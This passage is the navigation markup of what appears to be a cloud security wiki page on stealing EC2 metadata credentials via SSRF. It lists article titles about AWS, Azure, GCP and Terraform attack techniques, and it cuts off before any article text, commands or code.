md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#stealing-iam-credentials-from-the-instance-metadata-service class=md-nav__link> <span class=md-ellipsis> Stealing IAM Credentials from the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=#additional-resources class=md-nav__link> <span class=md-ellipsis> Additional Resources </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the 